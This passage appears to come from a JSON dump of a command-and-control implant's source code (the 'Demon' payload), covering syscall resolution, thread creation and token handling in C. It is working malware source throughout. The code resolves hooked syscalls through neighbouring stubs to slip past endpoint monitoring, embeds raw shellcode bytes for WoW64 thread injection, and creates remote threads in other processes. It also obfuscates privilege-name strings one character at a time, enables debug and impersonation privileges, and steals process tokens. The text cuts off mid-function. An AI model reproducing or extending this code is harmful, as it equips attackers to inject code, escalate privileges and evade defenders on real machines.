( SysAddr )\n            {\n                Success = FALSE;\n\n#if _M_IX86\n                if ( IsWoW64() )\n                {\n                    *SysAddr = __readfsdword(0xC0);\n                    Success  = TRUE;\n                    break;\n                }\n#endif\n\n                for ( int i = 0; i < SYS_RANGE; i++ )\n                {\n                    /* check if the current ( function + offset + i ) is 'syscall' instruction */\n                    if ( DREF_U16( Function + Offset + i ) == SYSCALL_ASM ) {\n                        *SysAddr = C_PTR( Function + Offset + i );\n                        Success  = TRUE;\n                        break;\n                    }\n                }\n            }\n\n            /* we should be finished */\n            break;\n        }\n\n        Offset++;\n    } while ( TRUE );\n\n    if ( ! Success && Ssn && ResolveHooked ) {\n        Success = FindSsnOfHookedSyscall( Function, Ssn );\n    }\n\n    if ( ! Success )\n    {\n        if ( Ssn ) {\n            PRINTF( \"Could not resolve the Ssn of function at 0x%p\\n\", Function )\n        }\n\n        if ( SysAddr ) {\n            PRINTF( \"Could not resolve the SysAddr of function at 0x%p\\n\", Function )\n        }\n    }\n\n    return Success;\n}\n\n/*\n * If a function is hooked, we can't obtain the Ssn directly.\n * Instead, we look for the Ssn of a neighbouring syscalls and add/subtract\n * to their Ssn according to their distance.\n * WARNING: This only works if Ssn are incremental!\n */\nBOOL FindSsnOfHookedSyscall(\n    IN  PVOID  Function,\n    OUT PWORD  Ssn\n) {\n    UINT32 SyscallSize      = 0;\n    PVOID  NeighbourSyscall = NULL;\n    WORD   NeighbourSsn     = NULL;\n\n    PRINTF( \"The syscall at address 0x%p seems to be hooked, trying to resolve its Ssn via neighbouring syscalls...\\n\", Function )\n\n    if ( ! ( SyscallSize = GetSyscallSize() ) ) {\n        PUTS( \"Failed to obtain the size of the syscalls stub\" )\n        return FALSE;\n    }\n\n\n    for ( UINT32 i = 1; i < 500; ++i )\n    {\n        // try with a syscall above ours\n        NeighbourSyscall = C_PTR( U_PTR( Function ) + ( SyscallSize * i ) );\n        if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) )\n        {\n            *Ssn = NeighbourSsn - i;\n            return TRUE;\n        }\n\n        // try with a syscall below ours\n        NeighbourSyscall = C_PTR( U_PTR( Function ) - ( SyscallSize * i ) );\n        if( SysExtract( NeighbourSyscall, FALSE, &NeighbourSsn, NULL ) )\n        {\n            *Ssn = NeighbourSsn + i;\n            return TRUE;\n        }\n    }\n\n    return FALSE;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Thread.c",
    "content": "#include <Demon.h>\n#include <common/Macros.h>\n#include <core/Thread.h>\n#include <core/MiniStd.h>\n#include <core/Memory.h>\n#include <core/SysNative.h>\n#include <core/Win32.h>\n\n/*!\n * queries the NT_TIB from the specified leaked thread RSP address\n *\n * NOTE:\n *  this function is entirely taken from Austins Hudson's implementation.\n *  reference: https://github.com/realoriginal/titanldr-ng/blob/master/Obf.c#L215\n *\n * @param Adr leaked rsp address\n * @param Tib random tib\n * @return\n */\nBOOL ThreadQueryTib(\n    IN  PVOID   Adr,\n    OUT PNT_TIB Tib\n) {\n    THREAD_TEB_INFORMATION   ThdTebInfo = { 0 };\n    MEMORY_BASIC_INFORMATION Memory1    = { 0 };\n    MEMORY_BASIC_INFORMATION Memory2    = { 0 };\n    CLIENT_ID                Client     = { 0 };\n    CONTEXT                  ThdCtx     = { 0 };\n    HANDLE                   ThdHndl    = NULL;\n    HANDLE                   ThdNext    = NULL;\n    BOOL                     Success    = FALSE;\n    DWORD                    ThreadId   = 0;\n\n    /* our current thread id */\n    ThreadId            = U_PTR( Instance->Teb->ClientId.UniqueThread );\n    ThdCtx.ContextFlags = CONTEXT_FULL;\n\n    /* iterate over current process threads */\n    while ( NT_SUCCESS( SysNtGetNextThread( NtCurrentProcess(), ThdHndl, THREAD_ALL_ACCESS, 0, 0, &ThdNext ) ) )\n    {\n        /* if the thread handle is valid close it */\n        if ( ThdHndl ) {\n            SysNtClose( ThdHndl );\n        }\n\n        /* set the next thread */\n        ThdHndl = ThdNext;\n\n        /* setup params we want to query */\n        ThdTebInfo.TebOffset      = FIELD_OFFSET( TEB, ClientId );\n        ThdTebInfo.BytesToRead    = sizeof( CLIENT_ID );\n        ThdTebInfo.TebInformation = C_PTR( &Client );\n\n        /* query information about the target thread */\n        if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) )\n        {\n            /* if it's not our current thread then continue. */\n            if ( ThreadId != U_PTR( Client.UniqueThread ) )\n            {\n                /* suspend target thread */\n                if ( NT_SUCCESS( SysNtSuspendThread( ThdHndl, NULL ) ) )\n                {\n                    /* get target thread context  */\n                    if ( NT_SUCCESS( SysNtGetContextThread( ThdHndl, &ThdCtx ) ) )\n                    {\n                        /* query memory info about rsp address */\n#if _WIN64\n                        if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )\n#else\n                        if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) )\n#endif\n                        {\n                            /* query memory info about rsp address */\n                            if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), Adr, MemoryBasicInformation, &Memory2, sizeof( Memory2 ), NULL ) ) )\n                            {\n                                /* check if it's the same region */\n                                if ( U_PTR( Memory1.AllocationBase ) == U_PTR( Memory2.AllocationBase ) )\n                                {\n                                    /* setup params we want to query */\n                                    ThdTebInfo.TebOffset      = FIELD_OFFSET( TEB, NtTib );\n                                    ThdTebInfo.BytesToRead    = sizeof( NT_TIB );\n                                    ThdTebInfo.TebInformation = C_PTR( Tib );\n\n                                    /* Query information about the target thread */\n                                    if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) ) {\n                                        Success = TRUE;\n                                    }\n                                }\n                            }\n                        }\n                    }\n\n                    /* resume target thread */\n                    SysNtResumeThread( ThdHndl, NULL );\n                }\n            }\n        }\n\n        /* did we successfully retrieve Tib ?\n         * if yes then break loop. we got what we wanted */\n        if ( Success ) {\n            break;\n        }\n    }\n\n    /* if the thread handle is valid close it */\n    if ( ThdHndl ) {\n        SysNtClose( ThdHndl );\n        ThdHndl = NULL;\n    }\n\n    return Success;\n}\n\n#if _M_IX86\n\n// https://github.com/rapid7/meterpreter/blob/5e309596e53ead0f64564fe77e0cad70908f6739/source/common/arch/win/i386/base_inject.c#L343\nHANDLE ThreadCreateWoW64(\n    IN  BYTE   Method,\n    IN  HANDLE Process,\n    IN  PVOID  Entry,\n    IN  PVOID  Arg\n) {\n    // TODO: define these arrays with HideChar or some other method\n    /*\n     * NOTE: migrate_executex64 was modified to include the instructions \"mov ax, ds; mov ss, ax\"\n     *       which fixes a bizarre CPU bug described here http://blog.rewolf.pl/blog/?p=1484\n     *       for reference: https://github.com/rapid7/metasploit-framework/blob/f17b28930dd926b93915a115f1117825f4c594db/external/source/shellcode/windows/x86/src/migrate/executex64.asm#L43-L44\n     */\n    BYTE migrate_executex64[] = \"\\x55\\x89\\xE5\\x56\\x57\\x8B\\x75\\x08\\x8B\\x4D\\x0C\\xE8\\x00\\x00\\x00\\x00\"\n                                \"\\x58\\x83\\xC0\\x2A\\x83\\xEC\\x08\\x89\\xE2\\xC7\\x42\\x04\\x33\\x00\\x00\\x00\"\n                                \"\\x89\\x02\\xE8\\x0E\\x00\\x00\\x00\\x66\\x8c\\xd8\\x8e\\xd0\\x83\\xC4\\x14\\x5F\"\n                                \"\\x5E\\x5D\\xC2\\x08\\x00\\x8B\\x3C\\x24\\xFF\\x2A\\x48\\x31\\xC0\\x57\\xFF\\xD6\"\n                                \"\\x5F\\x50\\xC7\\x44\\x24\\x04\\x23\\x00\\x00\\x00\\x89\\x3C\\x24\\xFF\\x2C\\x24\";\n    BYTE migrate_wownativex[] = \"\\xFC\\x48\\x89\\xCE\\x48\\x89\\xE7\\x48\\x83\\xE4\\xF0\\xE8\\xC8\\x00\\x00\\x00\"\n                                \"\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xD2\\x65\\x48\\x8B\\x52\\x60\\x48\"\n                                \"\\x8B\\x52\\x18\\x48\\x8B\\x52\\x20\\x48\\x8B\\x72\\x50\\x48\\x0F\\xB7\\x4A\\x4A\"\n                                \"\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\x41\\xC1\\xC9\"\n                                \"\\x0D\\x41\\x01\\xC1\\xE2\\xED\\x52\\x41\\x51\\x48\\x8B\\x52\\x20\\x8B\\x42\\x3C\"\n                                \"\\x48\\x01\\xD0\\x66\\x81\\x78\\x18\\x0B\\x02\\x75\\x72\\x8B\\x80\\x88\\x00\\x00\"\n                                \"\\x00\\x48\\x85\\xC0\\x74\\x67\\x48\\x01\\xD0\\x50\\x8B\\x48\\x18\\x44\\x8B\\x40\"\n                                \"\\x20\\x49\\x01\\xD0\\xE3\\x56\\x48\\xFF\\xC9\\x41\\x8B\\x34\\x88\\x48\\x01\\xD6\"\n                                \"\\x4D\\x31\\xC9\\x48\\x31\\xC0\\xAC\\x41\\xC1\\xC9\\x0D\\x41\\x01\\xC1\\x38\\xE0\"\n                                \"\\x75\\xF1\\x4C\\x03\\x4C\\x24\\x08\\x45\\x39\\xD1\\x75\\xD8\\x58\\x44\\x8B\\x40\"\n                                \"\\x24\\x49\\x01\\xD0\\x66\\x41\\x8B\\x0C\\x48\\x44\\x8B\\x40\\x1C\\x49\\x01\\xD0\"\n                                \"\\x41\\x8B\\x04\\x88\\x48\\x01\\xD0\\x41\\x58\\x41\\x58\\x5E\\x59\\x5A\\x41\\x58\"\n                                \"\\x41\\x59\\x41\\x5A\\x48\\x83\\xEC\\x20\\x41\\x52\\xFF\\xE0\\x58\\x41\\x59\\x5A\"\n                                \"\\x48\\x8B\\x12\\xE9\\x4F\\xFF\\xFF\\xFF\\x5D\\x4D\\x31\\xC9\\x41\\x51\\x48\\x8D\"\n                                \"\\x46\\x18\\x50\\xFF\\x76\\x10\\xFF\\x76\\x08\\x41\\x51\\x41\\x51\\x49\\xB8\\x01\"\n                                \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x48\\x31\\xD2\\x48\\x8B\\x0E\\x41\\xBA\\xC8\"\n                                \"\\x38\\xA4\\x40\\xFF\\xD5\\x48\\x85\\xC0\\x74\\x0C\\x48\\xB8\\x00\\x00\\x00\\x00\"\n                                \"\\x00\\x00\\x00\\x00\\xEB\\x0A\\x48\\xB8\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n                                \"\\x48\\x83\\xC4\\x50\\x48\\x89\\xFC\\xC3\";\n    WOW64CONTEXT ctx          = { 0 };\n    SIZE_T       Size         = 0;\n    HANDLE       hThread      = NULL;\n    EXECUTEX64   pExecuteX64  = NULL;\n    X64FUNCTION  pX64function = NULL;\n\n    ctx.h.hProcess       = Process;\n    ctx.s.lpStartAddress = Entry;\n    ctx.p.lpParameter    = Arg;\n    ctx.t.hThread        = NULL;\n\n    // allocate some memory for both shellcode stubs\n    Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex);\n    if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) {\n        PUTS( \"Failed allocating RW for migrate_executex64 and migrate_wownativex\" )\n        goto END;\n    }\n\n    // copy migrate_executex64\n    MemCopy( pExecuteX64, &migrate_executex64, sizeof( migrate_executex64 ) );\n\n    // copy migrate_wownativex\n    pX64function = C_PTR( U_PTR( pExecuteX64 ) + sizeof( migrate_executex64 ) );\n    MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) );\n\n    // switch RW to RX\n    if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) {\n        PUTS( \"Failed to change memory protection\" )\n        goto END;\n    }\n\n    PUTS( \"calling RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL ) on x64 context\" )\n    if( ! pExecuteX64( pX64function, &ctx ) )\n    {\n        NtSetLastError( ERROR_ACCESS_DENIED );\n        PUTS( \"ThreadCreateWoW64 failed\" )\n        goto END;\n    }\n\n    if( ! ctx.t.hThread )\n    {\n        NtSetLastError( ERROR_INVALID_HANDLE );\n        PUTS( \"ThreadCreateWoW64: ctx->t.hThread is NULL\" )\n        goto END;\n    }\n\n    PUTS( \"The thread was created\" )\n\n    hThread = ctx.t.hThread;\n\n    // resume the thread which was created in suspended mode\n    SysNtResumeThread( hThread, NULL );\n\nEND:\n    if ( pExecuteX64 ) {\n        MmVirtualFree( NtCurrentProcess(), pExecuteX64 );\n    }\n\n    return hThread;\n}\n\n#endif\n\nHANDLE ThreadCreate(\n    IN  BYTE   Method,\n    IN  HANDLE Process,\n    IN  BOOL   x64,\n    IN  PVOID  Entry,\n    IN  PVOID  Arg,\n    OUT PDWORD ThreadId\n) {\n    HANDLE Thread = NULL;\n\n#if _M_IX86\n    if ( x64 ) {\n        // x86 -> x64\n        return ThreadCreateWoW64( Method, Process, Entry, Arg );\n    }\n#endif\n\n    switch ( Method )\n    {\n        case THREAD_METHOD_DEFAULT: {\n            return ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, Process, x64, Entry, Arg, ThreadId );\n        }\n\n        case THREAD_METHOD_CREATEREMOTETHREAD: {\n            Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId );\n            break;\n        }\n\n        case THREAD_METHOD_NTCREATEHREADEX: {\n            NTSTATUS      NtStatus   = STATUS_SUCCESS;\n            THD_ATTR_LIST ThreadAttr = { 0 };\n            CLIENT_ID     Client     = { 0 };\n\n            /* thread attribute to get the thread id*/\n            ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE );\n            ThreadAttr.Entry.Size      = sizeof( CLIENT_ID );\n            ThreadAttr.Entry.pValue    = C_PTR( &Client );\n            ThreadAttr.Length          = sizeof( PROC_THREAD_ATTRIBUTE_LIST );\n\n            /* execute the code by creating a new thread */\n            NtStatus = SysNtCreateThreadEx( &Thread, THREAD_ALL_ACCESS, NULL, Process, Entry, Arg, FALSE, 0, 0, 0, &ThreadAttr );\n            if ( NT_SUCCESS( NtStatus ) ) {\n                if ( ThreadId ) {\n                    *ThreadId = U_PTR( Client.UniqueThread );\n                }\n            } else {\n                PRINTF( \"Failed to create new thread => NtStatus:[%x]\\n\", NtStatus );\n                NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            }\n\n            break;\n        }\n\n        case THREAD_METHOD_NTQUEUEAPCTHREAD: {\n            /* TODO: finish implementing it */\n            break;\n        }\n\n        default: {\n            PRINTF( \"Technique not found => %d\", Method )\n            break;\n        }\n    }\n\n    return Thread;\n}"
  },
  {
    "path": "payloads/Demon/src/core/Token.c",
    "content": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Token.h>\n#include <core/Win32.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n\n#include <ntstatus.h>\n\n/* TODO: Change the way new tokens gets added.\n *\n * Instead of appending it to the newest token like:\n * TokenNew->Next = Token\n *\n * Add it to the first token (parent):\n *\n * Token->Next            = Instance->Tokens.Vault;\n * Instance->Tokens.Vault = Token;\n *\n * Might reduce some code which i care more than\n * token order.\n * */\n\n/*!\n * @brief\n *  Duplicate given token\n *\n * @param TokenOriginal\n * @param Access\n * @param ImpersonateLevel\n * @param TokenType\n * @param TokenNew\n * @return\n */\nBOOL TokenDuplicate(\n    IN  HANDLE        TokenOriginal,\n    IN  DWORD         Access,\n    IN  SEC_IMP_LEVEL ImpersonateLevel,\n    IN  TOKEN_TYPE    TokenType,\n    OUT PHANDLE       TokenNew\n) {\n    OBJECT_ATTRIBUTES   ObjAttr  = { 0 };\n    SEC_QUALITY_SERVICE Sqos     = { 0 };\n    NTSTATUS            NtStatus = STATUS_SUCCESS;\n\n    Sqos.Length              = sizeof( SEC_QUALITY_SERVICE );\n    Sqos.ImpersonationLevel  = ImpersonateLevel;\n    Sqos.ContextTrackingMode = 0;\n    Sqos.EffectiveOnly       = FALSE;\n\n    /* Initialize Object Attributes */\n    InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL );\n\n    ObjAttr.SecurityQualityOfService = &Sqos;\n\n    /* duplicate token using native call */\n    if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) {\n        NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        PRINTF( \"NtDuplicateToken: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n/*!\n * @brief\n *  reverse to the original process user token\n *\n * @return if successful reverse to original token\n */\nBOOL TokenRevSelf(\n    VOID\n) {\n    HANDLE   Token    = NULL;\n    NTSTATUS NtStatus = STATUS_SUCCESS;\n\n    if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) {\n        NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n\n\n/*!\n * @brief\n *  queries the username and or domain\n *\n * @note\n *  the queried memory should be freed after used\n *  using HeapFree/RtlFreeHeap\n *\n * @param Token\n * @param UserDomain\n * @param Flags\n * @return\n */\nBOOL TokenQueryOwner(\n    IN  HANDLE  Token,\n    OUT PBUFFER UserDomain,\n    IN  DWORD   Flags\n) {\n    NTSTATUS     NtStatus = STATUS_SUCCESS;\n    BOOL         Success  = FALSE;\n    PTOKEN_USER  UserInfo = NULL;\n    ULONG        UserSize = 0;\n    PVOID        Domain   = NULL;\n    PVOID        User     = NULL;\n    DWORD        UserLen  = { 0 };\n    DWORD        DomnLen  = { 0 };\n    SID_NAME_USE SidType  = 0;\n\n    /* check if we specified the required args */\n    if ( ! Token || ! UserDomain ) {\n        return FALSE;\n    }\n\n    /* get the size for the TOKEN_USER struct */\n    if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) )\n    {\n        UserInfo = MmHeapAlloc( UserSize );\n\n        /* query the token user (we need the sid) */\n        if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) {\n            goto LEAVE;\n        }\n\n        /* now get the Username and Domain from the Sid */\n        if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) )\n        {\n            SidType = 0;\n\n            if ( Flags == TOKEN_OWNER_FLAG_USER ) {\n                UserDomain->Length = ( UserLen * sizeof( WCHAR ) );\n            } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) {\n                UserDomain->Length = ( DomnLen * sizeof( WCHAR ) );\n            } else {\n                UserDomain->Length = ( UserLen * sizeof( WCHAR ) ) + ( DomnLen * sizeof( WCHAR ) );\n            }\n\n            /* we allocate one buffer for specified owner flag */\n            UserDomain->Buffer = MmHeapAlloc( UserDomain->Length );\n\n            Domain = UserDomain->Buffer;\n            User   = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) );\n\n            /* setup arguments */\n            if ( Flags == TOKEN_OWNER_FLAG_USER ) {\n                Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) );\n                User   = UserDomain->Buffer;\n            } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) {\n                User   = MmHeapAlloc( UserLen * sizeof( WCHAR ) );\n            }\n\n            /* now lets try to get the owner */\n            if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) {\n                PRINTF( \"LookupAccountSidW Error => %d\\n\", NtGetLastError() );\n                goto LEAVE;\n            }\n\n            /* now let's add the \\ between the Username and Domain */\n            if ( Flags == TOKEN_OWNER_FLAG_DEFAULT ) {\n                B_PTR( UserDomain->Buffer )[ ( DomnLen * sizeof( WCHAR ) ) ] = '\\\\';\n            }\n\n            /* if we reached til this point means we were pretty much successful */\n            Success = TRUE;\n        } else {\n            PUTS( \"Unexpected successful call to LookupAccountSidW.\\n\" )\n        }\n    } else {\n        PUTS( \"Unexpected successful call to NtQueryInformationToken.\\n\" )\n    }\n\nLEAVE:\n    if ( UserInfo ) {\n        DATA_FREE( UserInfo, UserSize )\n    }\n\n    if ( Flags == TOKEN_OWNER_FLAG_USER ) {\n        DATA_FREE( Domain, DomnLen );\n    } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) {\n        DATA_FREE( User, UserLen );\n    }\n\n    return Success;\n}\n\n/*!\n * sets a privilege\n *\n * TODO: change it to use wide strings.\n *\n * @param Privilege\n * @param Enable\n * @return\n */\nBOOL TokenSetPrivilege(\n    IN LPSTR Privilege,\n    IN BOOL  Enable\n) {\n    TOKEN_PRIVILEGES TokenPrivileges = { 0 };\n    LUID             TokenLUID       = { 0 };\n    NTSTATUS         NtStatus        = STATUS_SUCCESS;\n    HANDLE           hToken          = NULL;\n\n    if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) {\n        PRINTF( \"[-] LookupPrivilegeValue error: %u\\n\", NtGetLastError() );\n        return FALSE;\n    }\n\n    TokenPrivileges.PrivilegeCount       = 1;\n    TokenPrivileges.Privileges[ 0 ].Luid = TokenLUID;\n\n    if ( Enable ) {\n        TokenPrivileges.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;\n    } else {\n        TokenPrivileges.Privileges[ 0 ].Attributes = 0;\n    }\n\n    if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) {\n        if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) {\n            PRINTF( \"[-] AdjustTokenPrivileges error: %u\\n\", NtGetLastError() );\n            return FALSE;\n        }\n    } else {\n        PRINTF( \"NtOpenProcessToken: Failed [%d]\", Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n        PACKAGE_ERROR_NTSTATUS( NtStatus )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL TokenSetSeDebugPriv(\n    IN BOOL  Enable\n) {\n    CHAR PrivName[ 17 ] = { 0 };\n    BOOL Success        = FALSE;\n\n    // SeDebugPrivilege\n    PrivName[ 2  ] = HideChar('D');\n    PrivName[ 9  ] = HideChar('i');\n    PrivName[ 16 ] = HideChar('\\0');\n    PrivName[ 0  ] = HideChar('S');\n    PrivName[ 3  ] = HideChar('e');\n    PrivName[ 6  ] = HideChar('g');\n    PrivName[ 7  ] = HideChar('P');\n    PrivName[ 11 ] = HideChar('i');\n    PrivName[ 4  ] = HideChar('b');\n    PrivName[ 5  ] = HideChar('u');\n    PrivName[ 10 ] = HideChar('v');\n    PrivName[ 15 ] = HideChar('e');\n    PrivName[ 1  ] = HideChar('e');\n    PrivName[ 13 ] = HideChar('e');\n    PrivName[ 14 ] = HideChar('g');\n    PrivName[ 12 ] = HideChar('l');\n    PrivName[ 8  ] = HideChar('r');\n\n    Success = TokenSetPrivilege(PrivName, Enable);\n    MemZero( PrivName, sizeof( PrivName ) );\n\n    return Success;\n}\n\nBOOL TokenSetSeImpersonatePriv(\n    IN BOOL  Enable\n) {\n    CHAR PrivName[ 23 ] = { 0 };\n    BOOL Success        = FALSE;\n\n    // SeImpersonatePrivilege\n    PrivName[ 7  ] = HideChar('s');\n    PrivName[ 5  ] = HideChar('e');\n    PrivName[ 4  ] = HideChar('p');\n    PrivName[ 8  ] = HideChar('o');\n    PrivName[ 3  ] = HideChar('m');\n    PrivName[ 0  ] = HideChar('S');\n    PrivName[ 11 ] = HideChar('t');\n    PrivName[ 12 ] = HideChar('e');\n    PrivName[ 17 ] = HideChar('i');\n    PrivName[ 19 ] = HideChar('e');\n    PrivName[ 22 ] = HideChar('\\0');\n    PrivName[ 6  ] = HideChar('r');\n    PrivName[ 16 ] = HideChar('v');\n    PrivName[ 21 ] = HideChar('e');\n    PrivName[ 10 ] = HideChar('a');\n    PrivName[ 15 ] = HideChar('i');\n    PrivName[ 9  ] = HideChar('n');\n    PrivName[ 1  ] = HideChar('e');\n    PrivName[ 13 ] = HideChar('P');\n    PrivName[ 14 ] = HideChar('r');\n    PrivName[ 2  ] = HideChar('I');\n    PrivName[ 18 ] = HideChar('l');\n    PrivName[ 20 ] = HideChar('g');\n\n    Success = TokenSetPrivilege(PrivName, Enable);\n    MemZero( PrivName, sizeof( PrivName ) );\n\n    return Success;\n}\n\n/*!\n * Adds an token to the vault.\n *\n * TODO:\n *  rewrite the function param. accept token object + STOLEN PID or MAKE data as a struct.\n *\n * @param hToken\n * @param DomainUser\n * @param Type\n * @param dwProcessID\n * @param User\n * @param Domain\n * @param Password\n * @return\n */\nDWORD TokenAdd(\n    IN HANDLE hToken,\n    IN LPWSTR DomainUser,\n    IN SHORT  Type,\n    IN DWORD  dwProcessID,\n    IN LPWSTR User,\n    IN LPWSTR Domain,\n    IN LPWSTR Password\n) {\n    PTOKEN_LIST_DATA TokenList   = NULL;\n    PTOKEN_LIST_DATA TokenEntry  = NULL;\n    DWORD            TokenIndex  = 0;\n\n    TokenEntry              = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) );\n    TokenEntry->Handle      = hToken;\n    TokenEntry->DomainUser  = DomainUser;\n    TokenEntry->dwProcessID = dwProcessID;\n    TokenEntry->Type        = Type;\n    TokenEntry->lpUser      = User;\n    TokenEntry->lpDomain    = Domain;\n    TokenEntry->lpPassword  = Password;\n    TokenEntry->NextToken   = NULL;\n\n    if ( Instance->Tokens.Vault == NULL ) {\n        Instance->Tokens.Vault = TokenEntry;\n        return TokenIndex;\n    }\n\n    TokenList = Instance->Tokens.Vault;\n\n    /* add TokenEntry to Token linked list */\n    while ( TokenList->NextToken != NULL ) {\n        TokenList = TokenList->NextToken;\n        TokenIndex++;\n    }\n\n    TokenList->NextToken = TokenEntry;\n    TokenIndex++;\n\n    return TokenIndex;\n}\n\nBOOL SysDuplicateTokenEx(\n    IN HANDLE ExistingTokenHandle,\n    IN DWORD dwDesiredAccess,\n    IN LPSECURITY_ATTRIBUTES lpTokenAttributes OPTIONAL,\n    IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE DuplicateTokenHandle)\n{\n    OBJECT_ATTRIBUTES           ObjAttr  = { 0 };\n    NTSTATUS                    NtStatus = STATUS_UNSUCCESSFUL;\n    SECURITY_QUALITY_OF_SERVICE Sqos     = { 0 };\n\n    Sqos.Length              = sizeof( SECURITY_QUALITY_OF_SERVICE );\n    Sqos.ImpersonationLevel  = ImpersonationLevel;\n    Sqos.ContextTrackingMode = 0;\n    Sqos.EffectiveOnly       = FALSE;\n\n    if ( lpTokenAttributes ) {\n        InitializeObjectAttributes( &ObjAttr, NULL, lpTokenAttributes->bInheritHandle ? OBJ_INHERIT : 0, NULL, lpTokenAttributes->lpSecurityDescriptor);\n    }\n    else {\n        InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL );\n    }\n\n    ObjAttr.SecurityQualityOfService = &Sqos;\n\n    NtStatus = SysNtDuplicateToken(\n        ExistingTokenHandle,\n        dwDesiredAccess,\n        &ObjAttr,\n        FALSE,\n        TokenType,\n        DuplicateTokenHandle);\n    if ( ! NT_SUCCESS( NtStatus ) )\n    {\n        PRINTF( \"NtDuplicateToken: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n/*!\n * Steals the process token from the specified pid\n * @param ProcessID\n * @param TargetHandle\n * @return\n */\nHANDLE TokenSteal(\n    IN DWORD  ProcessID,\n    IN HANDLE TargetHandle\n) {\n    HANDLE                      hProcess  = NULL;\n    HANDLE                      hTokenDup = NULL;\n    NTSTATUS                    NtStatus  = STATUS_SUCCESS;\n    CLIENT_ID                   ProcID    = { 0 };\n    OBJECT_ATTRIBUTES           TokenAttr = { 0 };\n    SECURITY_QUALITY_OF_SERVICE Qos       = { 0 };\n\n    hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE );\n    if ( hProcess )\n    {\n        if ( TargetHandle )\n        {\n            PRINTF( \"Stealing handle 0x%x from PID %d\\n\", TargetHandle, ProcessID );\n\n            NtStatus =  SysNtDuplicateObject( hProcess, TargetHandle, NtCurrentProcess(), &hTokenDup, 0, 0, DUPLICATE_SAME_ACCESS );\n            if ( NT_SUCCESS( NtStatus ) )\n            {\n                SysNtClose( hProcess );\n                return hTokenDup;\n            }\n            else\n            {\n                PRINTF( \"NtDuplicateObject: Failed:[%08x : %ld]\\n\", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) )\n                PACKAGE_ERROR_NTSTATUS( NtStatus )\n            }\n        }\n        else\n        {\n            PRINTF( \"Stealing process handle from PID %d\\n\", 